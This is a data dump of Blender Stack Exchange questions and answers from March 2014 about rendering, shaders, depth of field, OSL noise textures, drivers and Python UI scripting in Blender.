  <row Id="8125" PostTypeId="2" ParentId="8120" CreationDate="2014-03-28T17:24:27.693" Score="4" Body="&lt;p&gt;The reason you are seeing the cube instead of the chair is because there is a Cube on layer &lt;code&gt;1&lt;/code&gt;. Your chair is on layer &lt;code&gt;3&lt;/code&gt;. You only had layer &lt;code&gt;3&lt;/code&gt; visible which is why you did not see the cube even though it is there.&lt;/p&gt;&#xA;&lt;p&gt;There are two ways to avoid this problem in the future:&lt;/p&gt;&#xA;&lt;h1&gt;Method 1 - deleting the cube&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to layer 1 by pressing &lt;code&gt;1&lt;/code&gt; on your keyboard&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the cube and delete it, &lt;kbd&gt;X&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Method 2 - only exporting the needed meshes&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the chair and any other items you wish to export&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the export dialog check &lt;em&gt;Selection Only&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/et1p8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Once you do this you can import the chair and it will work like you expect it to.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-28T21:29:46.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8126" PostTypeId="1" AcceptedAnswerId="8133" CreationDate="2014-03-28T21:56:07.750" Score="12" ViewCount="1662" Body="&lt;p&gt;Is is possible to increase the depth of field in cycles while keeping the same blur size? I know this is not physically correct, but in some renders this would be useful. Here is a demonstration of what I am looking for:&lt;/p&gt;&#xA;&lt;p&gt;Normal Focus:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgbox.com/0kj4QkAZ.png&quot; alt=&quot;Normal Lense Depth of Field&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I'm trying to achieve (New part shaded green):&#xA;&lt;img src=&quot;https://i.imgbox.com/nnnHQmrT.png&quot; alt=&quot;Adjusted Lense Depth of Field (Shaded Green)&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is this possible (Maybe with the compositor)? If so, how? Any help is appreciated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;An example&lt;/strong&gt; for what this would be used for would be the following:&#xA;I have a somewhat lengthy main object that I want in focus. The other background objects are moderately close to the main object, but I want them to be blurred. If you increase the DOF blur to ensure the background objects aren't in focus, your main object is only partially in focus. The Depth of focus is too shallow to fit your main object. Now if you change to a wide DOF, the background objects would still be relatively clear which is not what you want. The solution is what I am describing; You would set a very shallow DOF, initially, so that the background is well out of focus, and then you would increase just the focus area to cover the main object but keep the blur amount the same.&lt;/p&gt;&#xA;" OwnerUserId="783" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-12-25T07:03:59.667" Title="Blender (Cycles) Manual DOF" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;blur&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8127" PostTypeId="1" AcceptedAnswerId="8128" CreationDate="2014-03-28T23:47:09.740" Score="4" ViewCount="737" Body="&lt;p&gt;I'm working on an assignment for an animation class and there is a gray polygon appearing in my camera persp view and in my renders and I cannot figure out what is causing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file: &lt;a href=&quot;http://www.pasteall.org/blend/27989&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/27989&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XYjYF.png&quot; alt=&quot;Camera perspective, gray polygon present&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/24gZm.png&quot; alt=&quot;User perspective, no gray polygon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2948" LastEditorUserId="12" LastEditDate="2014-03-29T00:07:12.213" LastActivityDate="2014-03-29T00:07:12.213" Title="Gray polygon appears in render/camera view but not user perspective" Tags="&lt;rendering&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-29T18:18:10.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="8128" PostTypeId="2" ParentId="8127" CreationDate="2014-03-28T23:49:06.897" Score="4" Body="&lt;p&gt;The grey 'polygon' you see is the background colour. What is happening is your camera clipping end distance is set too low. So any geometry beyond the clip distance is not rendered. Resulting in what you see above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, simply select the camera and set the Clip distance to a higher value.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-03-28T23:49:06.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8129" PostTypeId="1" AcceptedAnswerId="8131" CreationDate="2014-03-29T00:30:32.250" Score="20" ViewCount="44099" Body="&lt;p&gt;I have a simple diffuse shader. I would like to add some bump to it. How can I do this in Cycles? Where do I plug in my checkered texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lh9zt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-29T01:00:36.577" LastActivityDate="2019-09-03T00:45:46.710" Title="How to add bump to shader?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="8130" PostTypeId="1" AcceptedAnswerId="8132" CreationDate="2014-03-29T01:02:13.373" Score="8" ViewCount="9072" Body="&lt;p&gt;How can I control the volume density values at different locations in a mesh with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume&quot; rel=&quot;noreferrer&quot;&gt;volume shaders&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that noise textures can be plugged in to the density factor slot of a volume shader (producing a sponge-like effect as in the example below) for instance, but what other ways are there to control the density pattern inside a mesh? Are there ways to achieve more controlled/less random patterns?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ywBqO.png&quot; alt=&quot;noise volume texture example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-03-29T23:36:42.097" Title="Controlling volume density" Tags="&lt;rendering&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8131" PostTypeId="2" ParentId="8129" CreationDate="2014-03-29T01:20:48.433" Score="24" Body="&lt;h1&gt;Per shader:&lt;/h1&gt;&#xA;&lt;p&gt;Plug it it into the &lt;em&gt;Height&lt;/em&gt; input of a &lt;em&gt;Bump&lt;/em&gt; node (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt;Add node &amp;gt; Vector &amp;gt; Bump&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l4JOv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The above node setup will only bump the diffuse part of the shader, simulating a bumpy diffuse surface coated with a smooth glossy &amp;quot;glaze&amp;quot; layer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHP6F.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Entire material:&lt;/h1&gt;&#xA;&lt;p&gt;If you want to apply the same bump mapping to all the shaders in your material, just plug it into the &lt;em&gt;Displace&lt;/em&gt; input of the &lt;em&gt;Material output&lt;/em&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Px97s.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You'll notice that now the bump is applied to the glossy shader too:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lzki8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-29T01:26:08.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8132" PostTypeId="2" ParentId="8130" CreationDate="2014-03-29T01:39:33.763" Score="13" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, you can use any set of 3D values (e.g. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural&quot; rel=&quot;noreferrer&quot;&gt;procedural texture&lt;/a&gt;) you want (note that this means you can't use image textures. This is because you need the texture to be defined in 3D, and of course a image texture is 2D.&lt;br&gt;&#xA;See &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures&quot; rel=&quot;noreferrer&quot;&gt;the wiki&lt;/a&gt; for a list of cycles textures with descriptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The density is controlled by the &lt;em&gt;value&lt;/em&gt; (brightness) of the texture.&lt;br&gt;&#xA;Consider this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0TkcY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the texture is white (&lt;code&gt;1&lt;/code&gt;), the density will be &lt;code&gt;1&lt;/code&gt;. Where it is black (&lt;code&gt;0&lt;/code&gt;), the density will be &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because a density of 1 is still very faint, I have added a multiply node to scale the white portions of the texture to &lt;code&gt;20&lt;/code&gt; instead of 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5QRBw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example for non-procedural texture information, this setup will make the density based on the global X location of the object (with some math nodes to avoid volumes with negative density):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YUNFO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kbHwp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-29T23:36:42.097" LastActivityDate="2014-03-29T23:36:42.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8133" PostTypeId="2" ParentId="8126" CreationDate="2014-03-29T02:05:11.347" Score="11" Body="&lt;p&gt;One way to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set the depth of field to your liking and keep the focus on the object you want sharp, even if adjacent objects on the same focal plane look sharp.&lt;/li&gt;&#xA;&lt;li&gt;Separate the object in focus in one layer and the rest a different layer.&lt;/li&gt;&#xA;&lt;li&gt;Assign the layers to different render layers.&lt;/li&gt;&#xA;&lt;li&gt;On the compositor choose the render layer with the objects you want to defocus, and add a blur node. &lt;/li&gt;&#xA;&lt;li&gt;Mix the two layers back together.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want a bit finer control, use a defocus node instead of blur and control the blur using the Z information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another solution to make &quot;impossible&quot; Depth of Field. Using a color ramp to modify the Z pass on a defocus node.This way you have absolute control on what goes in focus and how blury it gets!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YwTCx.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/M6DB2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aU9CR.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The blend file is here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/794/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=794&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-12-25T07:03:59.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8135" PostTypeId="1" AcceptedAnswerId="8136" CreationDate="2014-03-29T07:17:31.500" Score="7" ViewCount="2454" Body="&lt;p&gt;I am trying to use a driver with a scripted expression to place an object's rotation in between the rotation of two other angle-measuring objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are objects I've labeled &lt;code&gt;BeginAngle&lt;/code&gt; and &lt;code&gt;EndAngle&lt;/code&gt;, as well as &lt;code&gt;ResultAngle&lt;/code&gt;.&#xA;I've managed to script it so that ResultAngle will be placed exactly halfway in the middle using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((endangle-beginangle)/2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I really want to do is not just place it halfway but instead specify ratios in decimal like &lt;code&gt;0.333&lt;/code&gt;, &lt;code&gt;0.618&lt;/code&gt; etc.&#xA;My Python and math skills have proven insufficient thus far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QiWod.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/686388/posts/stackexchange/python-angles.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things to note:&#xA;Rotation along Blender's Z axis is inverted (- degrees), making this trickier. Also you may need to tick &quot;Auto-Run Python Scripts&quot; under &lt;em&gt;Preferences &gt; File&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="1112" LastEditDate="2014-03-29T09:39:46.640" LastActivityDate="2014-03-29T21:41:18.873" Title="Using a scripted expression driver to combine two angles" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8136" PostTypeId="2" ParentId="8135" CreationDate="2014-03-29T08:04:31.313" Score="7" Body="&lt;p&gt;I assume you mean that you want a &quot;&lt;a href=&quot;https://math.stackexchange.com/a/404152/112764&quot;&gt;convex combination&lt;/a&gt;&quot; of the angles, so that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0&lt;/code&gt; will return an angle that is just &lt;code&gt;BeginAngle&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0.5&lt;/code&gt; will return an angle halfway between &lt;code&gt;BeginAngle&lt;/code&gt; and &lt;code&gt;EndAngle&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0.33&lt;/code&gt; will return an angle that is closer to &lt;code&gt;BeginAngle&lt;/code&gt; than &lt;code&gt;EndAngle&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In that case, you can use the scripted expression:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1.0 - 0.33) * BeginAngle + (0.33) * EndAngle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:19:25.310" LastActivityDate="2014-03-29T21:41:18.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8138" PostTypeId="1" AcceptedAnswerId="8142" CreationDate="2014-03-29T09:21:10.050" Score="30" ViewCount="12838" Body="&lt;p&gt;It's possible to animate a change noise texture by animating the texture coordinates with a mapping node or by animating the texture space, however this only works on one axis at a time (on the other axes the texture will appear to be sliding across the object's surface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the top face has the desired effect but the other faces appear to be moving/sliding upwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/GrimyEcstaticCoelacanth&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/GrimyEcstaticCoelacanth.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with all three axes location and rotation animated it still appears to be sliding rather than statically changing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/164s1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to make each face appear like the top face in the first gif but still be seamlessly blended with the other faces? This should work for other shapes as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I'm looking for a way to animate the &quot;seed&quot; of the texture.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.390" LastActivityDate="2021-02-25T00:38:36.330" Title="How to animate noise texture &quot;seed&quot;?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="8139" PostTypeId="2" ParentId="8138" CreationDate="2014-03-29T12:18:30.987" Score="12" Body="&lt;p&gt;If using the objects UV's is not a firm requirement you can use the following setup to animate noise.  Conceptually, this is like placing the object 'within' the 3D texture and then moving that texture.  It's seamless across the faces.  Using the &lt;strong&gt;&lt;em&gt;i&lt;/em&gt;&lt;/strong&gt; shortcut to set keyframes for Location, Rotation, and Scale is quick and works well.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ndIWX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:here's the animated .gif&#xA;&lt;img src=&quot;https://i.stack.imgur.com/btElg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-03-30T15:00:58.627" LastActivityDate="2014-03-30T15:00:58.627" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8140" PostTypeId="2" ParentId="8121" CreationDate="2014-03-29T12:54:17.437" Score="0" Body="&lt;p&gt;that is correct. here is an official doc, the final entry talks about this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the gist is that values over 1 and using the &quot;add shader&quot; can cause the material to create light and act as an emission shader. there are times when this might be useful so its not prohibited, but if you don't need it, its not recommended...&lt;/p&gt;&#xA;" OwnerUserId="2801" LastActivityDate="2014-03-29T12:54:17.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8142" PostTypeId="2" ParentId="8138" CreationDate="2014-03-29T14:14:54.847" Score="43" Body="&lt;p&gt;You can not animate the seed of a 3D gradient noise texture because it´s usually all fixed in a permutation table. &lt;strong&gt;What you are basically looking for are 4D gradient noise textures.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do 3D gradient noise textures not work? Imagine a 3D procedural texture as a continuous grid in space containing colour or intensity values at any node. Also imagine your mesh inside this grid. For simplicity imagine that every point on the surface of the mesh gets the colour of the nearest point of the grid assigned to it. Now imagine moving the grid or the manifold mesh. Eventually the points will move along the normal of a few faces but they can usually not move along the normals of all faces at a given time. And if they don´t move perfectly along a normal they will slide along the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To overcome this limitation we need to add a dimension which we can then animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So how can we do this in blender/cycles?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can program it ourselves in OSL(Open Shading Language). First we need the code for our 4D texture shader (e.g. a very simple one):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdosl.h&quot;&#xA;&#xA;shader simple_noise_texture4d(&#xA;float Scale = 1.0,&#xA;float Time = 0.0,&#xA;output color Color = 0.0&#xA;)&#xA;{&#xA;    Color = noise( &quot;uperlin&quot;, P * Scale, Time );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the internal text editor and name the above text block e.g. noise.osl. We use the builtin noise function with 4D unsigned perlin noise. The 4th component named Time will be used to animate the texture. Scale is used to scale the texture as usual. The output is named Color. For more information see the OSL specification &lt;a href=&quot;https://github.com/imageworks/OpenShadingLanguage/blob/master/src/doc/osl-languagespec.pdf&quot;&gt;osl-languagespec.pdf&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: By the way, there already exists a script template &quot;Noise&quot; in the text editor called noise.osl. I didn´t know this by the time I posted this answer. It provides some more 4D noise algorithms.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the render tab of the properties panel enable &quot;Open Shading Language&quot;. The Open Shading Language checkbox will only be available with &lt;strong&gt;CPU render mode&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a material to the object as usual and add a script node and set the shader script to &quot;noise.osl&quot;. Click the &quot;Update shader..&quot; button next to the shader name input. Use the output colour e.g. as input colour for a Diffuse BSDF shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hGdc8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Time can be animated as usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t8h0i.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex noise just edit the OSL code accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="3078" LastEditDate="2016-01-30T17:05:25.503" LastActivityDate="2016-01-30T17:05:25.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8143" PostTypeId="1" CreationDate="2014-03-29T15:09:11.330" Score="2" ViewCount="204" Body="&lt;p&gt;I'm trying to use &lt;code&gt;prop_search&lt;/code&gt; to select a font that is loaded in the current blender file, similar to the example given &lt;a href=&quot;https://blender.stackexchange.com/questions/7973/object-selection-box-in-addon&quot;&gt;here&lt;/a&gt;. The problem is I can't figure out where a collection of fonts for python to search through is.  This is what I've tried.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fonts = bpy.data&#xA;col.prop_search(fonts,&quot;BlockFont&quot;,fonts,&quot;fonts&quot;)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-06-25T23:25:39.147" Title="Selecting a font in python panel" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8144" PostTypeId="2" ParentId="8143" CreationDate="2014-03-29T15:35:17.193" Score="2" Body="&lt;p&gt;After a little more work I found it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fonts = bpy.context.blend_data&#xA;scene = bpy.data.scenes['Scene']&#xA;col.prop_search(scene, &quot;Font&quot;, fonts, &quot;fonts&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For anyone else trying to use this, here's a quick breakdown.&lt;br&gt;&#xA;The second argument is a variable to store the selected font in (see the link in the question for an example).  The first argument is where blender looks for that variable (in this case, the variable was created with &lt;code&gt;bpy.types.Scene.Font = bpy.props.StringProperty()&lt;/code&gt;, so it needed to be passed bpy.data.scenes['Scene']) .  The last argument is what it populates the drop down list with, and the argument before that is where it looks for that property.&lt;br&gt;&#xA;my problem was I was searching for the variable in the fonts instead of the scene where I created it, where of course it didn't exist.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-03-29T15:35:17.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8145" PostTypeId="1" CreationDate="2014-03-29T15:35:39.303" Score="1" ViewCount="1291" Body="&lt;p&gt;When attempting to import my FBX files to Blender, I received an error saying version 6100 not supported, use 7100 instead. At the suggestion of a forum thread I found, I am now using the official FBX Converter from Autodesk to convert these models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewed in the FBX Converter application, the animations work as expected (no textures though). When I export as a Binary and import to Blender, the animations are no longer there. I have also tried as ASCII but Blender apparently cannot import that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on how to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2014-03-29T15:35:39.303" Title="FBX Converter has no texture/animation when imported to Blender?" Tags="&lt;export&gt;&lt;blender-internal-render-engine&gt;&lt;import&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8146" PostTypeId="1" AcceptedAnswerId="8149" CreationDate="2014-03-29T16:32:23.647" Score="10" ViewCount="18411" Body="&lt;p&gt;I have some parent-child relations with the Blender objects that I'm working with, to make the things cleaner. Now I have an object with all its children that I don't want any more, the object specifically is an empty and the children are some meshes, there are a bunch of them and I'm looking for an easy and fast way to delete them all to avoid select them one-by-one. Maybe some python script?&lt;/p&gt;&#xA;" OwnerUserId="2958" LastEditorUserId="12" LastEditDate="2014-03-29T18:15:06.110" LastActivityDate="2014-03-29T20:06:14.243" Title="An easy way to remove all children in a parent-child relation?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8147" PostTypeId="1" AcceptedAnswerId="8148" CreationDate="2014-03-29T17:16:02.193" Score="5" ViewCount="637" Body="&lt;p&gt;I know that operators can be copied for scripting by ctrl-c if you mouse through whatever menu item you are at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I was wondering is if there is a way to see the construction history. In Maya's scripting panel you can turn on construction history, and then as you select an item or press any operator (like create polygon cube) it prints out the internal construction code to a window.&#xA;(That actual prints Mel scripting for Maya).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure the construction history is stored in some data object, so another spin on the question could be phrased . What is the name of this object and can I run a print loop through it?&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2014-03-29T17:23:09.963" Title="Seeing Construction History for use in python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8148" PostTypeId="2" ParentId="8147" CreationDate="2014-03-29T17:23:09.963" Score="6" Body="&lt;p&gt;You can pull down the 'Info' panel at the top of the blender window to reveal the code for operators that have been run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H6bL7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have deleted an object, added a cube and then rotated the cube.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-03-29T17:23:09.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
